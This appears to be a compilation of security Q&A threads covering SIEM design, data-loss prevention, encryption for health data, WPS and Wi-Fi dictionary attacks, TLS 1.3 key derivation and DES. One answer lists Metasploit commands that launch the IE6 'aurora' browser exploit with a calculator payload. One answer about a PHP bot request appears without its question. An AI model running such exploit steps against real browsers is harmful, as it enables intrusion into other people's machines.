How to design SIEM RFP, keeping in view large database requirements? I need some help regarding the design of SIEM requirments. In regard to large databases, what general requirements do I need to provide in order to provide coverage related to DB security?

Some of the use-cases I can think of are:

use of privilege roles / accounts DBA, sysadmin
Unauthorized Access to certain views/tables
Report on deletion/addition of certain db table entries against certain time-based policy (date/time: xx-xx-2012/xx:yy:zzzz)
Sending alert based upon security tampering baseline policy?
Able to logs data/entries effected by certain malicious change?
Able to identify attributes of service/application that draws SQL statements.

Are these enough or do I add more?

Looks like a good start from a db outward view by analyzing logs. You'll have the inevitable tradeoff of performance vs amount of logging so give actual numerical requirements in your RFP. You should also take into account the environment around the database. One example is validate the software that accesses the database had static scanning done to find sql injection vulnerabilities. Another is to make sure the SIEM is also monitoring the surrounding systems so events can be correlated. The SIEM should should also accept inputs from third party db security tools.

http://chuvakin.blogspot.com/2010/11/how-to-write-ok-siem-rfp.html recommends you don't write an rfp at all, and suggestions if you do have to. Ones I particularly liked was explain the mission (eg compliance vs risk management). Another is be specific - vague specs will just get unenforceable 'yes' answers.


Best Way to Isolate Company Data I work in a Software Company. Currently, we don't have any security software to secure our data in an employee laptop. Now we want to make a policy where any data stored or created on the company laptop and server must not get outside of the internal network. This includes securing these scenarios:

Any data from the company laptop not allowed to be copied to USB / External Hard Disk for later copied into their own device.
Any data cannot be uploaded to the external server through the internet.
Even if the laptop hard disk is taken off and put on another laptop, it should be unreadable.

On top of these limitations, for any job to be done, we should allow for:

Data can be a copy or moved inside the company internal network
Some document (pdf, word, excel, etc, not source code) can be send through an Email
The employee still can access the internet (maybe limited to some work-related website like StackOverflow, Linkedin, etc)
The employee can be work from home

For this, I listed the following to-do list:

Installing hard disk encryption software on every laptop and blocking
the USB port
Block any third party software installation
Prepare a VPN network so the employee can access company internal network through the internet

I still cannot figure out how to prevent employee uploading data to cloud storage like google drive, etc.
Is my current solution is correct? or there are other approaches to implement this kind of policy?

Your plan is full of holes. and these cannot be fixed.

if you allow PDFs out you allow anything that can be converted to pdf out.

if you allow any email out source code can be copied and pasted into an email.

if you allow web access source code can be copied and pasted into gmail.

I think the only solution is to keep the most secret stuff on a server that does not have access to the internet. and only allow access to this server by physical presence

It's probably easier and cheaper to hire trustworthy staff.


Need of Encryption for storing Health Information I am managing development of a platform for health service providers and thus, it houses health information about patients registered. The patient register themselves on the system and maintain their profiles. This system needs to be compliant to HIPAA requirements.

The specifications dictate asymmetric + symmetric encryption for transit or end to end encryption.

I have some questions:

Can a case be made for added asymmetric + symmetric encryption of data in transit over TLS v1.3?
Can PHI be stored anonymously somehow so we can analyze it and opt out of explicit encryption? That necessitates handling/control logic of that data to be in client apps.
Can we have permanently assigned, unchanging asymmetric keys for users? If not, for how long can we have them safely? How do these changing keys work with already encrypted data?

That’s a pretty broad set of questions.

  1 Can a case be made for added asymmetric + symmetric encryption of
  data in transit over TLS v1.3?

According to what you wrote, at the very least either end-to-end encryption or hybrid encryption is required for data in transit. But even if you plan on using end-to-end encryption, it’d be questioned if you didn’t use TLS 1.2 or stronger anyway. End-to-end raises questions of secure key management in the client. Do you really want to risk distributing copies of your long-term storage keys to your clients?

  2   Can PHI be stored anonymously somehow so we can analyze it and opt
  out of explicit encryption? That necessitates handling/control logic
  of that data to be in client apps.

Take a look at homomorphic encryption. It’s a way that allows you to perform some processes on encrypted data that returns the same results you’d get from processing the data on the clear text. It might remove the need to handle secret keys in your analytic logic.

  3   Can we have permanently assigned, unchanging asymmetric keys for
  users? If not, for how long can we have them safely? How do these
  changing keys work with already encrypted data?

Generally you’d issue clients their asymmetric keys on a client certificate, and set the certificate to expire in a timeframe that meets your organization’s key rotation policies and requirements. That might be one year, sixty days, or whatever. You wouldn’t use those asymmetric keys to encrypt the data for long term storage, however; you’d use them only for mutual TLS authentication, establishing session keys for the duration of the connection. You’d transmit the data via the TLS-encrypted socket; then at the server you’d encrypt the data with your server’s secret key (a key no client would ever access to.)

Your service would most likely be responsible for managing its own secret keys. Some systems will tag each encrypted data element with a key identifier that can be used to find the proper decryption key when it comes time to read the data. That way, you can rotate the server’s secret encryption key on a schedule so that a new key is used every month, or every year, and will still be able to decrypt all your old data. This avoids the huge risks associated with decrypting and re-encrypting all the data every year. (This same approach can also be performed using a commercial key management system, in conjunction with a client-side encryption library.)

Of course all these are only some possible suggestions; they are in use in some organizations, but may or may not be suitable for your organization or your data. Check with your compliance team, your risk management team, your security auditors, or whoever your organization uses to approve such decisions.


What is the difference between Wireshark and Ettercap for man in the middle attacks! I know of the two programs, one is Wireshark (a packet sniffing program) and the other is Ettercap (a man in the middle attack program). I tried doing a MITM attack before, legally on my own home network, with both the programs Wireshark and Ettercap and the result was same: I got the same username and passwords with both programs. If I have Wireshark, do I still need Ettercap to do a MITM attack, or since the result is the same can I do it with just Wireshark?

Wireshark is a passive packet analyzer which allows you to look at network traffic and search it.

Ettercap can do that too, but it is also able to actively change any network traffic routed through it. You can set it up to drop, modify or insert certain network packets.


Is XML encryption actually broken? I recently stumbled on this post: XML Encryption Broken, Need To Fix W3C Standard

I was expecting to find lots of information online about it, but there isn't actually all that much detail. Since I'm using WCF with lots of message level security SOAP, I thought I popped the question.

Is the mentioned post the real thing, or is it just something exaggerated based on some obtained success in a controlled environment? Is XML encryption actually broken?

With a bit of digging around, I've found some evidence of recent activity on this subject: Functional Explanation of Changes in XML Encryption 1.1 (W3C Working Group Note 11 April 2013). There are a lot of changes in the XML Encryption 1.1, among others:

Added Key Derivation
Added Elliptic Curve Diffie-Hellman Key Agreement
Added Algorithms
Changed Algorithms

and among most relevant to your question, changes to security considerations:

  Added security consideration information on Chosen Ciphertext Attacks, including attacks against encrypted data and encrypted key. Provide specific notes on CBC Block Encryption vulnerability, and the Bleichenbacher attack.

The article you were reading is about exploiting a weakness in the CBC mode for the chaining of different ciphertext blocks. While it does appear to be the real thing, it applies to encryption schemes before XML Encryption 1.1:

  “We were able to decrypt data by sending modified ciphertexts to the
  server, by gathering information from the received error messages.”
  The attack was tested against a popular open source implementation of
  XML Encryption, and against the implementations of companies that
  responded to the responsible disclosure – in all cases the result was
  the same: the attack works, XML Encryption is not secure.

While I don't see this as exaggeration, and it doesn't strike me as surprising either (see for example this answer to the question How less secure is an encryption if we know something about the original data? and Wiki on Adaptive chosen-ciphertext attack), it needs to be mentioned again that it applies to CBC encryption mode avalable in XML Encryption 1.0 that was handled by a different W3C workgroup (XML Encryption WG last active in 2008).

This work has by now been moved to XML Security Working Group whose baby is XML Encryption 1.1 as a direct answer to such attacks as described in the article. In fact, The XML Security Working Group even directly mentions these attacks on XML Encryption 1.0 in the XML Encryption 1.1 documentation.

Addendum: Whilst reading through some non-related cryptography articles, I've stumbled across Matthew Green's blog post on Attack of the week: XML Encryption dating back to October, 2011. Matthew Green is a cryptographer and research professor at Johns Hopkins University, and writes most fabulous texts on cryptography and related subjects. His explanation of what this attack on XML Encryption is all about is the best one I've yet read, and of course a recommended read for anyone interested to learn more about them. Here's a short excerpt:

  Stop using unauthenticated CBC mode. Stop using any encryption
  standard designed before 2003 that hasn't been carefully analyzed and
  recently updated. Stop using any unauthenticated encryption at all.
  Wrap your SOAP connections with TLS (a recent version!) if you can.

Source: Attack of the week: XML Encryption, Matthew Green


Account hacked on mobile music streaming app - what should I do next I'm a software developer so aware of basic security issues. I use a popular music streaming service and a few months back signed up for their paid plan as I was enjoying the experience. I use the service as an app on my android mobile.

After several months of good service I started having network issues which made the app unusable, it would stop after every song. I contacted the support team and they weren't very helpful but did suggest clearing the cache, reinstalling etc. A day later I noticed that I couldn't log into the app and that I couldn't reset my password so the next day I contacted their support team. They told me that the account was now registered with a different email address and name but was still connected to my credit card. User was in a different country and I had received no notification of any account changes. They didn't seem surprised by this and didn't offer much advice other than reassuring me that my information was safe, which wasn't very convincing.

I've cancelled my credit card and dropped my subscription and changed my password to something stronger. I still have access to the app and I noticed there was a connected device which wasn't mine so have deleted it. A few hours later though this device reappeared. This was unexpected although it's possible that there were some cached credentials on that device I'd have expected them to be invalidated following the password change. After deleting the device again it did appear once more but hasn't subsequently.

Reason for posting is I'm not sure if I should be concerned for other services. I've changed my password for other sites I use commonly and enabled 2fa on my email. I've registered for so much stuff it's hard to ensure it's all covered. This kind of thing is so common it would be good to have a list of advice links of common stuff to check. I'm still not sure how my account was compromised but I'm thinking it may be due to using over unsecured wifi while abroad on business.

I'd say you've done the right thing, adding 2fa and changing your passwords, cancelling credit cards, ect.

I'd recommend enabling 2fa everywhere you can, including the music app if you can, and change that password again- unless you've already done so since the last time you deleted the unknown device.

When you mentioned changing your password on a few other sites you frequent, that suggests that perhaps you've been reusing passwords? In any case, I highly recommend a password manager, such as LastPass, to enable you to have strong, unique passwords over all of your accounts.

To further prevent something like this happening, you could get a VPN to use on unsecure WiFi networks (or all the time) I use F-Secure's Freedome vpn all the time on my mobile devices.

Links:

List of Password Mangers - https://en.wikipedia.org/wiki/List_of_password_managers

Freedome - https://www.f-secure.com/en_GB/web/home_gb/freedome


How to secure a mobile app against its user? I have created a mobile application that monitors the accelerometer activity and based on that it rewards the user if a specific pattern is observed. How I can secure the application against the user itself who may try to hack the application to report the pattern I am looking for in order to get the reward?

One more thing is that the reward is given to the winner at the end of the competition at a physical agency. Is it possible that the agent before given the reward check if the user has manipulated the app or not, for instance by observing or compare something in the device?

You cannot.

As soon as the user has the mobile device and your application, nothing stops him from decompiling your application, understanding how it works & what data it sends, and replicating it. They can even cheat using some contraption that rotates the phone around and make your application believe it's a human that is using it.

They don't even need to decompile your application; they just have to put a proxy to intercept the requests and understand the protocol.

From the comments:

  If you control the hardware, you can secure the app:

Not quite. Apple controls from the processor to the UI of the iPhone, and jailbreaks are a thing. Even if they are controlling every aspect of it, one day someone jailbreaks and roots the iPhone, and loads your app on it.

  Certificate Transparency, Key Pinning

Not useful if the device is rooted. Checksum, digital signature and integrity verification only work if the OS is not compromised. If the user owns the OS and the device, he can disable OS checks, can edit the binary of the app and change the instructions verifying the signature or checksum.

  Virtual Machine, Code obfuscation

They make it much more difficult to analyze the code, but code must be executed by the processor. If a disassembler cannot help, a debugger will. The user can put breakpoints on key parts of the code, and in time will reach the function checking the certificate, or the checksum, or any validation checks in place, and can alter anything he wants.

So it's pointless to try?

No. You must weigh the costs and benefits. Only don't count on the defenses to be unbeatable, because every defense can be beaten. You can only make it so hard that the attacker gives up putting lots of resources against your app and receiving a little benefit.


Why does this cache attack work? I was recently reading the following paper about doing a cache attack in Javascript:

https://arxiv.org/pdf/1502.07373v2.pdf

But I was confused by how it could work. In the paper, an 8 MB buffer was enough to have a high success rate for finding an eviction set (for a 12-way cache). I'm not exactly sure how this is possible.

I worked out the numbers for my own computer, and it doesn't seem like it would work (3MB cache, 12-way):

The eviction buffer can be 4 MB instead of 8 MB
This is what the buffer index would store:

Bits 0 - 6: byte within cache line
Bits 6 - 12: first 6 bits of set index
Bits after 12: not useful, since this can be mapped to any physical address

There are 1024 pages in eviction buffer
Out of these 1024 pages, there need to be 12 that map to a physical page that shares the same value for bits 12 - 18 as the victim address. I'm not good with probability, but this seems pretty unreliable

Why does it work?

I tried it on my own computer, and it seems to be able to evict the victim address 70% of the time (though even if I don't don't run any eviction stuff at all, the victim address still seems to get a miss rate of around 20%).

Assuming the operating system allocates pages completely randomly, my best calculation says that there's about a 11% chance that any given victim address will have at least 12 matching pages in your 4MB buffer.  That's not very likely, and certainly doesn't agree with the 70% success rate you saw.

However, there are good reasons for an operating system to avoid mapping pages randomly, and instead to try its best to map contiguous pages.  One reason for this is that the OS sometimes needs to allocate large contiguous buffers (to support huge pages or large DMA buffers, for example), and random allocation of physical pages would make it really hard to find a large enough region.  This is known as memory fragmentation.

But in the context of this discussion, a more interesting benefit of contiguous allocation is (ironically enough) the level-3 cache performance.  If you're running an algorithm that uses a large memory buffer, the way to get the best performance is to allocate contiguous physical memory, so that the individual pages don't evict each other from the cache.  If the OS succeeds in maximizing performance this way, then it will also succeed in maximizing the attack's effectiveness: your 4MB buffer will cover the entire cache, and you'll have a 100% chance of evicting a victim page.  So your observed 70% success rate is less a measure of chance, and more a rough measure of how effective the OS is at allocating pages for good cache performance.

If you want to see an example of an OS working this way in practice, read about Linux's buddy allocator.  It starts by breaking memory into a set of large free blocks.  Then, if it wants to allocate a page, it takes one of those large blocks and splits it in half.  It then takes one of the halves and splits it in half again, and continues until it's got a pair of 1-page-sized block -- at which point it's also got one 2-page-sized block, one 4-sized, one 8-sized, etc.  The first two allocations will be those two 1-page blocks, which are right next to each other because they are the result of breaking a 2-page block in half.  The third allocation will break the other 2-page block in half, which again will be next to the other two for the same reasons.

So whenever it needs a new page, the allocator takes the smallest block it can find and breaks it down until it's got a single page.  Finally, when a page is freed, the allocator checks to see if there is a free page right next to it, so it can form those two pages back into a larger block.  The net effect is to keep allocations roughly contiguous when possible.


Dictionary Attack on Wifi I know a few people with pretty weak passwords. What kind of systems exist to prevent dictionary attacks? Would it make sense to restrict the number of connection attempts in a certain timeframe?

Obviously a strong password would be the best system, but most private networks do not take much consideration into setting up their wifi.

I do not know if your question is about dictionary attacks in general, or dictionary attacks in the case of a WiFi network with password protection.

For the general question of dictionary attacks: there are two kinds of dictionary attacks, the online attacks and the offline attacks. An offline attack is one such that the attacker got enough data to "test" passwords on his own machines, at a rate which is limited only by whatever computational power he can muster. For instance, the attacker got a copy of the hash of a password. On the other hand, an online attack is one where the attacker must interact with an "honest" system (one which knows the correct password, e.g. a target server, or the client itself) for each guess.

A password "strength" can be measured by its entropy, which is a way of stating how many values that password could have assumed. For instance, a password with "25 bits of entropy" is such that it has been chosen randomly (and uniformly) among a list of 225 possible passwords. The notion of entropy can be refined a bit in case the password selection process is not uniform: we say that a password has n bits of entropy if an attacker trying a list of potential passwords, in decreasing order of probability (i.e. beginning by the most frequently chosen passwords), will hit the right password after an average of 2n-1 trials. Depending on your user base, you might have a bit of success at educating your users into choosing strong passwords, but it is not realistic to expect more than, say, about 32 bits of entropy (if you enforce too strong password selection rules, users will actively work against you, e.g. by writing passwords on stick-up notes or sharing passwords with other sites or other users).

The first mitigation in the presence of offline attacks is to use a salt: the idea is to "tweak" the password-verification data that the attacker can know with a publicly known value (the "salt"), which is different for each password. This will not hinder an attacker bent on breaking a single password, but it will prevent cost sharing: if the attacker wants to break 10 passwords, it should cost him 10 times the cost of breaking one. Precomputed tables, in particular the much hyped rainbow tables, are a specific case of cost sharing. A good salt is chosen randomly and uniformly with a good random generator, and stored along with the password hash.

The second mitigation is to make password derivation expensive: you do not hash once, you hash ten thousand times. This makes normal password usage (for verification) 10000 times slower (but this can often be tolerated: we are talking about 10ms instead of 1µs) but also multiplies the work factor for the attacker by 10000 (which turns, say, a one-minute attack into a one-week attack). Security is then achieved if 2n-1 > p*s where n is the password entropy, p is the ratio between the attacker's and the user's patience (e.g. if the attacker is ready to invest one week of effort and the user cannot wait for more than one second, the ratio is 7*86400 = 604800), and s is the ratio between the attacker's computing power and the normal system power (e.g. the attacker has 20 PC with big GPGPU, and the normal system is a smartphone: this brings s in the range of 500 or 1000).

Bcrypt is the oft-recommended password hashing method, which combines a salt and a configurable number of iterations.

A more thorough solution is to avoid offline dictionary attacks: you should not let an attacker get hold of any data which allows him to perform such an attack. In a Web/Internet context, this means that, for instance, you will perform authentication within a SSL/TLS tunnel (something known as "HTTPS"). You would still want to do good password hashing for password storage on the server, in case the attacker gains a read-only access to your database. Another kind of protocol is Password Authenticated Key Exchange: a cryptographic protocol which results in a shared key (suitable for subsequent symmetric encryption of data), with mutual authentication of client and server relatively to a password; this protocol can be played in full view of the attacker and it is still inherently resistant to offline dictionary attacks. The most recommended PAKE protocol is SRP.

If you can force the attacker to play things online, then you can thwart him by enforcing arbitrary limitations in the number of requests he may submit. The most extreme case is what smartcards do: after three wrong PIN, the card commits suicide. Weaker rules (e.g. refusing to process more than 10 guesses per minute) will already dispel most attackers.

About WiFi: there are several authentication protocols which can be used in WiFi. In WEP and "WPA-Personal" systems, authentication is called "PSK" (pre-shared key): encryption and integrity checks will be performed with keys derived deterministically from the WiFi password. This gives plenty of data for an attacker who wishes to perform an offline dictionary attacks. Since the key derivation protocol does not include provisions for a high number of hashing iterations (after all, it must be implementable with 30$ home routers), dictionary attacks tend to be quite effective. So the only real defense here is to select big fat random passwords, so that the entropy is high.

With "WPA-Enterprise", authentication is done through a generic layer called EAP, which encapsulates messages for an underlying protocol; the base station is supposed to forward those messages to a RADIUS server. There are many authentication protocols which are then applicable, some of which being of the PSK persuasion; but others are arguably stronger. For instance, there is an EAP-EKE, which is a PAKE protocol, hence resilient to offline dictionary attacks; another one is EAP-TLS, which internally performs a full SSL/TLS handshake, and thus, potentially, may use SRP-with-TLS.

Thus, with WPA-Enterprise, you may use authentication protocols which tolerate passwords with relatively low entropy, but this depends on what the client and the base station will support.

A word to the wise: I only talk about the use of passwords in WiFi authentication. I do not claim that once authentication has been performed, the WiFi link is adequately secured. It is best to treat a WiFi link as an Internet-like link, subject to eavesdropping; the main goal of the authentication protocol is to deter attackers who want a free Internet access.


HkdfLabel in TLS 1.3 In rfc8446, it says

HKDF-Expand-Label(Secret, Label, Context, Length) =
    HKDF-Expand(Secret, HkdfLabel, Length)

Where HkdfLabel is specified as:

struct {
    uint16 length = Length;
    opaque label<7..255> = "tls13 " + Label;
    opaque context<0..255> = Context;
} HkdfLabel;

Derive-Secret(Secret, Label, Messages) =
    HKDF-Expand-Label(Secret, Label,
                      Transcript-Hash(Messages), Hash.length)

But in rfc8448(page 5),

{server}   derive secret for handshake "tls13 derived":
PRK (32 octets): 33 ad 0a 1c 60 7e c0 3b 09 e6 cd 98 93 68 0c e2
   10 ad f3 00 aa 1f 26 60 e1 b2 2e 10 f1 70 f9 2a
hash (32 octets): e3 b0 c4 42 98 fc 1c 14 9a fb f4 c8 99 6f b9 24
   27 ae 41 e4 64 9b 93 4c a4 95 99 1b 78 52 b8 55
info (49 octets): 00 20 0d 74 6c 73 31 33 20 64 65 72 69 76 65 64
   20 e3 b0 c4 42 98 fc 1c 14 9a fb f4 c8 99 6f b9 24 27 ae 41 e4
   64 9b 93 4c a4 95 99 1b 78 52 b8 55

expanded (32 octets): 6f 26 15 a1 08 c7 02 c5 67 8f 54 fc 9d ba
   b6 97 16 c0 76 18 9c 48 25 0c eb ea c3 57 6c 36 11 ba

Look into info octets.
00 20 0d this third '0d' is label size..
and there is '20' in front of hash bytes.
This is size of the context.

rfc8446 should be like this.

struct {
    uint16 length = Length;
    uint8 label_size;
    opaque label<7..255> = "tls13 " + Label;
    uint8 context_size;
    opaque context<0..255> = Context;
} HkdfLabel;

Am I right?

I have one more question.
where did the hash(32 octets) e3 b0 c4 .... come from?
I could not get the value by hashing client hello with hmac, sha256, or anything...

You are not right. The 'variable-length vector' construct notated as type item <min..max> in TLS includes a prefix length field; see section 3.4 in rfc8446 or 4.3 in earlier versions.

The phase-to-phase steps in the TLS1.3 key schedule use "" i.e. an empty byte sequence/string, aka nothing, null, nil, or (in some environments) epsilon, for the 'Messages' parameter to Derive-Secret; see section 7.1. The value you quoted from rfc8448, which you will observe is the same for all "tls13 derived" operations, is SHA-256 of nothing.


Books on digital image encryption I'm an applied mathematician that recently developed an interest in digital image encryption. Might there be a book or set of references that develops the theory of digital image encryption and introduces the state of the art?

There is no such thing as "digital image encryption". An encryption algorithm can generally work with completely arbitrary data, including images. A cipher doesn't care if you're encrypting an image, a video, audio, a string of zeros, or the text from a public domain book. All it cares about is the bits and bytes.


Can you give third-parties the power to supervise what code your server is running? Web applications on servers often perform tasks in which users have to trust them, e.g. securely storing their passwords.
Is there any way of letting the user convince himself that the server is actually doing what it is supposed to do, e.g. by checking that it is really executing an unmodified compilation of the source code that is publicly available?

The question I believe is more  general than securing passwords.

  Is there any way of letting the user convince himself that the server
  is actually doing what it is supposed to do, e.g. by checking that it
  is really executing an unmodified compilation of the source code that
  is publicly available?

There is a consortium of companies (Microsoft and more...) called the Trusted Computing Group that have an objective to use hardware and software to do this.

However - the initiative is controversial as it would protect the user against himself also. Richard Stallman came out against the initiative strongly and calls it treacherous computing - one of his concerns was that TC was going to be used by Hollywood to enforce DRM on only one machine.

In practice - this reached a height in the so-called AACS encryption controversy in 2007-9 + with cracking of Blu Ray. If TC had been enforced then a large percentage of the worlds TVs and DVD players would have been bricked.

Since then, free market and consumers seem to have prevailed over the "treacherous designs" of media consortia simply because there is no economic sense in protecting consumers against themselves and even less economic sense in bricking your TV set just because you streamed unprotected content.

Back to your question - it is technically feasible but not a commodity feature in modern operating systems by far. If you wanted to roll your own this comes up with some googling http://www.trustedcomputinggroup.org/developers/software_stack

There is an important related issue of ensuring integrity of deployed code; this is handled superbly in git using SHA1 hashes.    When you use Git to deploy your code, you have guaranteed integrity.


Website URL to point users to in order to "make a point" about security It is 'common knowledge' that unpatched, older browsers and operating systems are dangerous, but when I tell people that they should not do their online banking in IE 6 on a pirated XP service pack 0, nobody listens. Is there a website URL that I could point people to which will demonstrate an 'attack' but actually do no harm? I am looking for something to scare them into a better browser or a licensed OS. For people that I don't care about I will give a link to http://their-name.nimp.org but I don't want to do that to people who I will have to deal with later! This is something that I would do while I am at home with them (friends and family) in order to educate them, not a page that I would link to from my own websites.

Note that I am not looking for a page that explains the dangers, but rather a page that demonstrates the dangers.

I am looking for something innocuous, akin to this terrific page that demonstrates why one should never copy-paste terminal commands into his terminal, even if he understands the code:

http://thejh.net/misc/website-terminal-copy-paste

My goal is only to show that attacks are possible, and actually do occur. Think of this as letting a child touch a lit match, in order to teach them to stay away from the open flame of the range with hot cooking oil in the pan! Yes, I've done that with my children and they stay away from the range!

If you really want to scare them off without any negative impact, host an IE 6 exploit of Metasploit internally in one of your systems, set the payload to calc which will pop up a calculator when their browsers are exploited and then terminate the session. Tell them if someone can pop up a calculator on their machine without their knowledge, they can probably do a lot of bad things as well.

Here are the steps:

msf > use exploit/windows/browser/ms10_002_aurora
msf > set SRVHOST 0.0.0.0
msf > set SRVPORT 80
msf > set URIPATH /
msf > set payload windows/exec
msf > set CMD=calc.exe
msf > exploit


It is a common bot request looking for misconfigured PHP executable.

It is trying to reset your PHP settings to a whole bunch of insecure values to then further comprise your system.

It is hitting a 404 so there is nothing you need to do.

It would be worth setting up some dynamic firewall rules to block stuff like this anyway.

Fail2Ban is a good choice for that.


How general should a vulnerability be to be eligible for a CVE? Which vulnerabilities are common enough to become CVE? Is it related to "application"s only, or websites are accepted as well?Is a vulnerability in an unpopular website (or a local service) considered common enough?

From the CVE FAQ:

  An information security vulnerability is a mistake in software that
  can be directly used by a hacker to gain access to a system or
  network. See the Terminology page for a complete explanation of how
  this term is used on the CVE Web site.

  The intention of CVE is to be comprehensive with respect to all
  publicly known vulnerabilities and exposures. While CVE is designed to
  contain mature information, our primary focus is on identifying
  vulnerabilities and exposures that are detected by security tools and
  any new problems that become public.

If an individual website was breached, it is unlikely that the website owners will make publicly known. If they did make the details public, and it only affected their own proprietary software, it would be of little value to the public. If the vulnerability was in software used and produced by some vendor (open or closed), then its likely it could be come a CVE.

If a website is breached, that might not be the result of a CVE type attack, but maybe the more generic Common Weakness Enumeration (CWE). For example, if a site was breached by SQL injection or XSS, the specific string would not likely be a CVE, but could be classified under the CWE.

If you are looking for details of specific website attacks, you would want to look for breach reporting, such as the Privacy Right's Clearinghouse's Data Breach List.

The best way to test this would be to try to submit your find and see what the CVE community wants to do with it in their review process.


When to change a smartphones with out-of-support OS's? As we know it from e.g Windows OS on desktops, if the support is outdated there is a risk for security and feature bugs and unstable OS.

If a smartphone can't be updated to use a newer OS because of low hardware resources and no more official updates, should it be not used anymore? Is there the same concept as for Desktop PC's?

I found this it seems somehow yes/no.

Sorry for being too frank, your answer is a big YES, it shouldn't be used anymore - at least it shouldn't be connected to the net if you don't wanna change your device. It's twenty-first century and we're living in the age of IoT (Internet of Things). Security, is the most important thing in everyone's life since what we are dealing with - daily, hourly or secondly - is DATA! And most of those people not working a lot with Computers, are keeping their Data in their smartphone!
Updates are not only meant for more compatibility with newer applications with new enhancements, they are meant to patch vulnerabilities, pitfalls, and security breaches. When vulnerabilities don't get patched, attackers can easily use them as your weak-point, to access to your Data, you data will lead them through your life, your life can even mean your house if you have a smart house! Afterwards it will lead them to gain access to other's lives whom are in relation with you, and so on!!! It's like a tree with thousands of branches. One master card means thousands of master cards - if the attacker who has gained access to yours is an expert!
On the other hand, consider someone willing to hack a governmental agency, or an organization, or etc., they can hide and cover their tracks behind yours, they can throw you in trouble to escape from trouble.
Being up tp date, means safety, not only yours, but also your loved ones. Please consider being up to date a serious thing.
I'm a Linux System Administrator and System Architect responsible for System-Level Security for such things - I should test things sometimes as a penetration tester, so I'm not exaggerating, I've seen all those I mentioned.
If you need an example:
From WikiPedia:

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based
operating systems including Android. It is a local privilege
escalation bug that exploits a race condition in the implementation of
the copy-on-write mechanism in the kernel's memory-management
subsystem. The vulnerability was discovered by Phil Oester. Because of
the race condition, with the right timing, a local attacker can
exploit the copy-on-write mechanism to turn a read-only mapping of a
file into a writable mapping. Although it is a local privilege
escalation bug, remote attackers can use it in conjunction with other
exploits that allow remote execution of non-privileged code to achieve
remote root access on a computer. The attack itself does not leave
traces in the system log. It has been demonstrated that the bug can be
utilized to root any Android device up to Android version 7.
The bug has been lurking in the Linux kernel since version 2.6.22
released in September 2007, and there is information about been
actively exploited at least since October 2016. The bug has been
patched in Linux kernel versions 4.8.3, 4.7.9, 4.4.26 and newer.

N.B. I recommend you use 4.9 if you're a linux user.
You can check the following link to find the codes and further information:
https://dirtycow.ninja
By the way, it makes no odds if you're using smartphone or a computer to keep your data in, the only thing matters is that your keeping your data, even your sensitive data sometimes. Either your smartphone and Computer have something called OS that are running atop something called Kernel! What would it be if kernel never gets newer updates? Kaboom! Compromised, no matter if you are an important person or a normal guy, you'll be compromised because your address - IP, MAC, Device anything, - will be considered as either a bait, or an aim.


Why our key and our plaintext should have a same size in One Time Pad I was reading Serious Cryptography book. I am a newbie in cryptography field who try to learn as possible as he can. In this book, there is the following section of phrases:

For example, if a ciphertext is 128 bits long (meaning the plaintext
is 128 bits as well), there are 2^128 possible ciphertexts; therefore,
there should be 2^128 possible plaintexts from the attacker’s point of
view. But if there are fewer than 2^128 possible keys, the attacker
can rule out some plaintexts. If the key is only 64 bits, for example,
the attacker can determine the 264 possible plaintexts and rule out
the overwhelming majority of 128-bit strings. The attacker wouldn’t
learn what the plaintext is, but they would learn what the plaintext
is not, which makes the encryption’s secrecy imperfect.

I understand in OTP, plaintext and key should have a same size to generate a ciphertext with same size too. Also I understand the concept of randomness behind the key which that generate random output all the time.
But in this section I couldn't understand what he said when he mentioned if our key was less than 128 bit, the attacker can rule out some plaintext. What he mean? What is the meaning of rule out in this context? Sorry if this question is so basic.

I think Amussen mixed it while trying to make it clear.
Consider that you have 264 possible 128-bit keys instead of 2128 then the possible keyspace is reduced to half of its security.
This time you will ask how the attacker will know which ones are missing. Since we assume that everything is known but the key, we also know the key-space. So if we have time and money we can list them and see the possible messages and the reverse is the impossible messages.
Therefore read this

If the key is only 64 bits

as the effective key length of the key-space is 64-bit, i.e. the key generation can generate up to 264 different keys.


Is WPS still insecure if the router requires a client pin? Recently purchased an Asus AC88U and I noticed that you can require a client pin for a WPS connection to successfully happen. It seems that this would be a pretty secure implementation of WPS.

Are there still insecurities of using this method of WPS?

The problem is not what the PIN is or how it was set, but how fast it can be cracked. Often this is a matter of hours. The WPS PIN consist of two part, or 8 bytes. The last digit counts as an checksum, leaving 10^7 = 10,000,000 (the actual attack only needs about 10.000 tries since there is a acknowledgement after 4 bytes). This is feasible enough to bruteforce online. If the nonces are known, offline attacks may take a few minutes. Because the nonces are so small, it is possible to scan the entire range in hours.

Update

The PIN authentication method is vulnerable, because of its small domain, thats a given. How the connection between the two parties actually took place is irrelevant (although it has been argued that push mode is more secure). Even if all is good, there have been numerous reports on flawed implementations, reused nonces, nonces based on weak entropy sources and the list goes on.

If a technique is broken you do not continue using it, not even if you conciser it to provide some security. In this case WPS PINs are not only broken (semantic security) but actually compromised.
The only thing you can do is disable WPS all together.


Select a TripleDES key so that it effectively behaves as regular DES I'm working with a smartcard (DESFire) that supports both TripleDES and DES. In the specs it is stated that both modes of operation use 16 bytes keys. When the first 8 bytes in the key are identical to the trailing 8 bytes, the DES mode is used. Otherwise, the TDEA algorithm is selected.

This is a shock to me since it was my understanding that Triple DES uses a key bundle of 56bits*3 = 168 bits (21 bytes). What kind of Triple DES encryption could it be supporting?
Is there some other way to select a key for TDEA so that it behaves as single DES, apart from selecting a key bundle k1k2k3 where k1=k2=k3?

EDIT:
Seems that there's a "Keying option 2", where k1 = k3 != k2.

This is the only TDEA option that DESFire supports, I guess. The newer DESFire ev1 supports full keying option 3 TDEA along with AES.

DES is defined to use a 64-bit key. Only 56 of these bits are really used, so the "effective key length" (for resistance against exhaustive search) is that of a 56-bit key. Yet, any implementation will expect a sequence of 64 bits (hence, 8 bytes, not 7).

Triple-DES (aka "3DES") is three DES instances in due sequence. The "middle" DES instance is used in decryption mode, precisely so that an engine which implements 3DES can also execute plain DES. If you name the three successive keys K1, K2 and K3, then, when K1 = K2, the two first DES instances cancel each other (the second DES being in decryption mode, it reverses what the first DES did), so this is equivalent to simple DES with key K3. Similarly, if K2 = K3, this is equivalent to simple DES with key K1.

